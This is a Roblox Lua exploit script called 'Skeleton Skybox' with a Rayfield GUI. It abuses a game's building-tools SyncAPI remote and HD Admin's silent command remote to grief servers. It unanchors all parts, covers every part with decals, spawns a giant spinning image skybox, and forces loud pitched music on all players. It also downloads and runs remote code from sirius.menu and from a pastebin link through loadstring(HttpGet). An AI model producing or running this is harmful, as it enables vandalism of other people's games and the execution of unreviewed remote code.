-- audio leaked lol local Players = game:GetService("Players") local ReplicatedStorage = game:GetService("ReplicatedStorage") local RunService = game:GetService("RunService") local ContentProvider = game:GetService("ContentProvider") local player = Players.LocalPlayer local char = player.Character or player.CharacterAdded:Wait() -- Rayfield GUI loadstring local Rayfield = loadstring(game:HttpGet('https://sirius.menu/rayfield'))() -- HD Admin Remote local hdClient = ReplicatedStorage:FindFirstChild("HDAdminHDClient") local function SendHDCommand(cmd) if hdClient and hdClient:FindFirstChild("Signals") then pcall(function() hdClient.Signals.RequestCommandSilent:InvokeServer(cmd) end) end end SendHDCommand(";time 4") SendHDCommand(";music 129890330200593 ;volume 9") SendHDCommand(";pitch 3.1") local remote for _, container in ipairs({player:FindFirstChild("Backpack"), player.Character, player:FindFirstChild("PlayerGui"), ReplicatedStorage}) do if container then for _, v in ipairs(container:GetDescendants()) do if v.Name == "SyncAPI" and v:FindFirstChild("ServerEndpoint") then remote = v.ServerEndpoint break end end end if remote then break end end if not remote then warn("SyncAPI standard endpoint was not found!") return end local function syncInvoke(...) return remote:InvokeServer(...) end local function SetAnchor(part, boolean) syncInvoke("SyncAnchor", {{["Part"] = part, ["Anchored"] = boolean}}) end local function SetCollision(part, boolean) syncInvoke("SyncCollision", {{["Part"] = part, ["CanCollide"] = boolean}}) end local function AddMesh(part) syncInvoke("CreateMeshes", {{["Part"] = part}}) end local function SetMesh(part, meshid, scale, vertexColor) syncInvoke("SyncMesh", {{ ["Part"] = part, ["MeshType"] = Enum.MeshType.FileMesh, ["MeshId"] = "rbxassetid://" .. meshid, ["Scale"] = scale or Vector3.new(1000, 1000, 1000), ["VertexColor"] = vertexColor or Vector3.new(6, 6, 6) }}) end local function SetTexture(part, texid) syncInvoke("SyncMesh", {{ ["Part"] = part, ["TextureId"] = texid }}) end local function MeshResize(part, size) syncInvoke("SyncMesh", {{ ["Part"] = part, ["Scale"] = size }}) end local function SetTransparency(part, value) syncInvoke("SyncTransparency", {{ ["Part"] = part, ["Transparency"] = value }}) end local function SetVertexColor(part, vertexColor) syncInvoke("SyncMesh", {{ ["Part"] = part, ["VertexColor"] = vertexColor }}) end local function DestroyPart(part) syncInvoke("Remove", {part}) end local skyPart = nil local skyLoop = nil local spinConnection = nil local discoConnection = nil local frameTime = 0.08 local lastUpdate = 0 local selectedScale = Vector3.new(1000, 1000, 1000) local vertexVal = 2 local spinEnabled = false local trippySpinEnabled = false local discoEnabled = false local spinSpeed = 10 local rotX, rotY, rotZ = 0, 0, 0 local lastServerSync = 0 local SERVER_SYNC_RATE = 0.03 local images = { "http://www.roblox.com/asset/?id=169585459", "http://www.roblox.com/asset/?id=169585475", "http://www.roblox.com/asset/?id=169585485", "http://www.roblox.com/asset/?id=169585502", "http://www.roblox.com/asset/?id=169585515", "http://www.roblox.com/asset/?id=169585502", "http://www.roblox.com/asset/?id=169585485", "http://www.roblox.com/asset/?id=169585475" } local function PreloadImages() local instances = {} for _, imgUrl in ipairs(images) do local decal = Instance.new("Decal") decal.Texture = imgUrl table.insert(instances, decal) end pcall(function() ContentProvider:PreloadAsync(instances) end) end task.spawn(PreloadImages) local function ParseVector3(rawText) local nums = {} for num in string.gmatch(rawText or "", "%-?%d+%.?%d*") do table.insert(nums, tonumber(num)) end if #nums >= 3 then return Vector3.new(nums[1], nums[2], nums[3]) end return Vector3.new(1000, 1000, 1000) end local function ExtractAssetId(rawText) local id = string.match(rawText or "", "%d+") if id then return "http://www.roblox.com/asset/?id=" .. id end return rawText end local function UnanchorAllFE() task.spawn(function() local count = 0 for _, v in ipairs(workspace:GetDescendants()) do if v:IsA("BasePart") and v ~= skyPart and not v:IsDescendantOf(char) then pcall(function() SetAnchor(v, false) end) count = count + 1 if count % 20 == 0 then task.wait() end end end end) end local function FastSpamDecalsFE(targetID) local rawID = string.match(targetID or "", "%d+") or "169585459" local formattedUrl = "http://www.roblox.com/asset/?id=" .. rawID task.spawn(function() local count = 0 for _, v in pairs(workspace:GetDescendants()) do if v:IsA("BasePart") and v.Name ~= "Skybox" and v ~= skyPart then pcall(function() for _, face in pairs(Enum.NormalId:GetEnumItems()) do syncInvoke("CreateTextures", {{Part = v, Face = face, TextureType = "Decal"}}) syncInvoke("SyncTexture", {{Part = v, Face = face, TextureType = "Decal", Texture = formattedUrl}}) end end) count = count + 1 if count % 10 == 0 then task.wait() end end end end) end local function StopDisco() if discoConnection then discoConnection:Disconnect() discoConnection = nil end if skyPart and skyPart.Parent then SetVertexColor(skyPart, Vector3.new(vertexVal, vertexVal, vertexVal)) end end local function StartDisco() StopDisco() if not discoEnabled then return end local hue = 0 discoConnection = RunService.RenderStepped:Connect(function(dt) if not skyPart or not skyPart.Parent then StopDisco() return end hue = (hue + (dt * 0.5)) % 1 local color = Color3.fromHSV(hue, 1, 1) local vertexColor = Vector3.new(color.R * vertexVal, color.G * vertexVal, color.B * vertexVal) SetVertexColor(skyPart, vertexColor) end) end -- Spin Mechanics local function StopSpin() if spinConnection then spinConnection:Disconnect() spinConnection = nil end end local function StartSpin() StopSpin() if not spinEnabled then return end spinConnection = RunService.RenderStepped:Connect(function(dt) if not skyPart or not skyPart.Parent then StopSpin() return end local hrp = char:FindFirstChild("HumanoidRootPart") local pos = hrp and (hrp.CFrame.Position + Vector3.new(0, 6, 0)) or skyPart.CFrame.Position if trippySpinEnabled then rotX = (rotX + (spinSpeed * dt * 14)) % 360 rotY = (rotY + (spinSpeed * dt * 22)) % 360 rotZ = (rotZ + (spinSpeed * dt * 18)) % 360 else rotX = 0 rotZ = 0 rotY = (rotY + (spinSpeed * dt * 25)) % 360 end local rotationCFrame = CFrame.Angles(math.rad(rotX), math.rad(rotY), math.rad(rotZ)) local newCFrame = CFrame.new(pos) * rotationCFrame skyPart.CFrame = newCFrame lastServerSync = lastServerSync + dt if lastServerSync >= SERVER_SYNC_RATE then lastServerSync = 0 pcall(function() syncInvoke("SyncRotate", {{["Part"] = skyPart, ["CFrame"] = newCFrame}}) end) end end) end local function DestroySky() StopSpin() StopDisco() if skyLoop then skyLoop:Disconnect() skyLoop = nil end if skyPart then pcall(function() DestroyPart(skyPart) end) skyPart = nil end end local function CreateSky() DestroySky() char = player.Character or player.CharacterAdded:Wait() local hrp = char:FindFirstChild("HumanoidRootPart") if not hrp then return end local spawnPos = hrp.CFrame.Position + Vector3.new(0, 6, 0) local cf = CFrame.new(spawnPos) local createdPart = syncInvoke("CreatePart", "Normal", cf, workspace) if typeof(createdPart) == "Instance" and createdPart:IsA("BasePart") then skyPart = createdPart else local startTime = tick() repeat task.wait(0.05) for _, v in ipairs(workspace:GetChildren()) do if v:IsA("BasePart") and (v.CFrame.Position - spawnPos).Magnitude < 5 then skyPart = v break end end until skyPart or (tick() - startTime) > 2 end if not skyPart then warn("Failed to find or spawn skybox part!") return end SetAnchor(skyPart, true) SetCollision(skyPart, false) SetTransparency(skyPart, 0) AddMesh(skyPart) task.wait(0.05) SetMesh(skyPart, "111891702759441", selectedScale, Vector3.new(vertexVal, vertexVal, vertexVal)) SetTexture(skyPart, images[1]) local index = 1 skyLoop = RunService.Heartbeat:Connect(function(deltaTime) lastUpdate = lastUpdate + deltaTime if lastUpdate >= frameTime then lastUpdate = 0 if not skyPart or not skyPart.Parent then DestroySky() return end SetTexture(skyPart, images[index]) index = (index % #images) + 1 end end) if spinEnabled then StartSpin() end if discoEnabled then StartDisco() end end --- Rayfield GUI Interface local Window = Rayfield:CreateWindow({ Name = "Skeleton Skybox", Icon = 0, LoadingTitle = "Skeleton Skybox", LoadingSubtitle = "fixed by FEScriptzzBOII", Theme = "Default", ConfigurationSaving = { Enabled = true, FolderName = "SkeletonSkyboxConfig", FileName = "Config" }, KeySystem = false }) local MainTab = Window:CreateTab("Skybox Controls", 4483362458) local AudioTab = Window:CreateTab("HD Audio Controls", 4483362458) local ImagesTab = Window:CreateTab("Custom Frames", 4483362458) local SpamTab = Window:CreateTab("FE Spammers", 4483362458) -- Skybox Controls Tab MainTab:CreateButton({ Name = "Spawn Skybox", Callback = function() CreateSky() end, }) MainTab:CreateButton({ Name = "Delete Skybox", Callback = function() DestroySky() end, }) MainTab:CreateToggle({ Name = "Disco Fade (FE)", CurrentValue = false, Flag = "DiscoModeToggle", Callback = function(Value) discoEnabled = Value if discoEnabled then StartDisco() else StopDisco() end end, }) MainTab:CreateToggle({ Name = "Spin Skybox (FE)", CurrentValue = false, Flag = "SpinSkyboxToggle", Callback = function(Value) spinEnabled = Value if spinEnabled then StartSpin() else StopSpin() end end, }) MainTab:CreateToggle({ Name = "Trippy Spin (FE)", CurrentValue = false, Flag = "TrippySpinToggle", Callback = function(Value) trippySpinEnabled = Value end, }) MainTab:CreateSlider({ Name = "Spin Speed (FE)", Range = {1, 100}, Increment = 1, Suffix = " Speed", CurrentValue = spinSpeed, Flag = "SpinSpeedSlider", Callback = function(Value) spinSpeed = Value end, }) MainTab:CreateSlider({ Name = "Animation Delay (sec)", Range = {0.02, 0.5}, Increment = 0.01, Suffix = "s", CurrentValue = frameTime, Flag = "AnimDelaySlider", Callback = function(Value) frameTime = Value end, }) MainTab:CreateSlider({ Name = "Vertex Brightness", Range = {1, 20}, Increment = 1, Suffix = " Brightness", CurrentValue = vertexVal, Flag = "VertexSlider", Callback = function(Value) vertexVal = Value if skyPart and skyPart.Parent and not discoEnabled then SetVertexColor(skyPart, Vector3.new(vertexVal, vertexVal, vertexVal)) end end, }) MainTab:CreateInput({ Name = "Mesh Scale", PlaceholderText = "1000 1000 1000", RemoveTextOnFocus = false, CurrentValue = "1000 1000 1000", Flag = "MeshScaleInput", Callback = function(Text) selectedScale = ParseVector3(Text) if skyPart and skyPart.Parent then MeshResize(skyPart, selectedScale) end end, }) MainTab:CreateButton({ Name = "Unanchor All Parts (FE)", Callback = function() UnanchorAllFE() end, }) local currentMusicID = "129890330200593" local currentPitch = "3.1" AudioTab:CreateInput({ Name = "Music ID", PlaceholderText = "Enter Audio ID", RemoveTextOnFocus = false, CurrentValue = currentMusicID, Flag = "MusicIDInput", Callback = function(Text) local rawID = string.match(Text or "", "%d+") if rawID then currentMusicID = rawID end end, }) AudioTab:CreateInput({ Name = "Pitch Number", PlaceholderText = "e.g. 0.11 or 1", RemoveTextOnFocus = false, CurrentValue = currentPitch, Flag = "PitchInput", Callback = function(Text) if Text and Text ~= "" then currentPitch = Text end end, }) AudioTab:CreateButton({ Name = "▶ Play Audio (HD Silent)", Callback = function() SendHDCommand(";music " .. currentMusicID .. " ;volume 9") task.wait(0.5) SendHDCommand(";pitch " .. currentPitch) end, }) for i = 1, 8 do local rawId = string.match(images[i], "%d+") or "" ImagesTab:CreateInput({ Name = "Frame " .. i .. " ID", PlaceholderText = "Asset ID", RemoveTextOnFocus = false, CurrentValue = rawId, Flag = "FrameInput_" .. i, Callback = function(Text) images[i] = ExtractAssetId(Text) task.spawn(PreloadImages) end }) end local decalSpamID = "169585459" SpamTab:CreateInput({ Name = "Spam Decal Asset ID", PlaceholderText = "Enter Decal ID", RemoveTextOnFocus = false, CurrentValue = decalSpamID, Flag = "DecalSpamIDInput", Callback = function(Text) decalSpamID = Text end }) SpamTab:CreateButton({ Name = "Spam Workspace Decals (FE)", Callback = function() FastSpamDecalsFE(decalSpamID) end }) SpamTab:CreateButton({ Name = "particle spammer", Callback = function() pcall(function() loadstring(game:HttpGet("https://pastebin.com/raw/S3Xzxcgu"))() end) end }) Rayfield:LoadConfiguration() task.wait(1) CreateSky()